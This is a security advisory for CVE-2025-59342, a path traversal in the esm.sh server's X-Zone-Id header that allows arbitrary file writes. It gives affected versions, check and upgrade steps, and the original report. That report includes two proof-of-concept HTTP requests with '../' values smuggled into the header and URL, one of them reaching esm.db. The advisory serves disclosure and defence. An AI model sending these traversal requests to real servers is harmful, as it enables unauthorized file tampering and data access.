---
id: "CVE-2025-59342"
kind: "vulnerability"
aliases: ["CVE-2025-59342", "GHSA-g2h5-cvvr-7gmw"]
title: "esm.sh has arbitrary file write via path traversal in `X-Zone-Id` header"
severity: "medium"
cvss: 5.5
epss: 0.03153
exploited: false
status: "open"
category: "package"
products: [{"name": "github.com/esm-dev/esm.sh", "fixed": ["136.1"], "affected": "<= 136", "ecosystem": "go"}]
ecosystems: ["go"]
tags: ["cwe-24", "esm.sh", "go", "package", "self-hosted"]
not_affected_if: ["auth-required", "managed-hosting"]
published_at: "2025-09-17T18:15:53+00:00"
first_seen_at: "2026-10-29T02:14:31+00:00"
updated_at: "2026-10-29T02:36:48+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-g2h5-cvvr-7gmw", "first_seen_at": "2026-10-29T02:14:31+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59342", "first_seen_at": "2026-10-29T02:36:48+00:00"}]
---

# esm.sh has arbitrary file write via path traversal in `X-Zone-Id` header

The esm.sh server builds a filesystem path from the X-Zone-Id HTTP header without restricting it to the storage directory. A request with ../ sequences in that header can write attacker-supplied files outside the intended storage location, and the report says this could lead to code execution or tampering with application files.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/esm-dev/esm.sh affected <= 136 fixed 136.1

## How to check

- Run `go list -m github.com/esm-dev/esm.sh` in the project, or check the version the esm.sh binary reports, and compare it to `136`
- Check whether the esm.sh server is reachable from untrusted networks and accepts POST /transform requests

## Fix

- Upgrade esm.sh to `136.1`
- Until upgraded, block or strip requests carrying `..` in the X-Zone-Id header at a reverse proxy

## Timeline

- 2026-10-29T02:14:31+00:00 ghsa https://github.com/advisories/GHSA-g2h5-cvvr-7gmw
- 2026-10-29T02:36:48+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2025-59342

## From the sources

## Summary

A path-traversal flaw in the handling of the `X-Zone-Id` HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying `../` sequences in `X-Zone-Id` causes files to be written to arbitrary directories (example observed: `~/.esmd/modules/transform/<id>/` instead of `~/.esmd/storage/modules/transform`).

**Severity:** Medium

**Component / Endpoint:** 

`POST /transform` — handling of `X-Zone-Id` header

The vulnerable code is in https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 and https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411 

**Impact:** Arbitrary file creation / overwrite outside intended storage directory (file write to attacker-controlled path). Possible remote code execution, persistence, tampering with application files, or facilitating further path-traversal attacks.

---

## Proof of Concept (POC)

Request (attacker-supplied `X-Zone-Id` contains path traversal):

```
POST /transform HTTP/1.1
Host: localhost:8888
User-Agent: Den/8.7.1
Accept: */*
Connection: keep-alive
Referer: http://localhost:9999/
Content-Type: application/json
X-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/
Content-Length: 325

{
  "filename": "example2.js",
  "lang": "js",
  "code": "console.log('hello');",
  "importMap": {
    "imports": {
      "react": "https://esm.sh/react",
      "react-dom": "https://esm.sh/react-dom"
    }
  },
  "jsxImportSource": "react",
  "target": "es2022",
  "sourceMap": "external",
  "minify": true
}
```
<img width="2496" height="1214" alt="Screenshot 2025-09-16 at 21 40 57" src="https://github.com/user-attachments/assets/f878c3f0-5d7d-410c-97ac-20116f5496db" />


Observed result: file written to `~/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js` instead of the intended `~/.esmd/storage/modules/transform/`.

This can be trigger with another path traversal request below

```
GET /+c245626ef6ca0fd9ee37759c5fac606c6ec99daa./../../../esm.db?.css HTTP/1.1
Host: localhost:8888
User-Agent: localhost
Accept: */*
Connection: keep-alive
X-Zone-Id: ../
Referer: http://localhost:9999/

```
<img width="2516" height="710" alt="Screenshot 2025-09-16 at 21 37 07" src="https://github.com/user-attachments/assets/1fcfbed3-c1d2-4093-82d8-4afda225c685" />

---

## Remediation

Simply remove any .. in the `X-Zone-Id` header before actually process the file.

## Credits

- [Ai Ho (Jessie)](https://github.com/j3ssie)
- [CL Yang](https://github.com/A11riseforme)

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_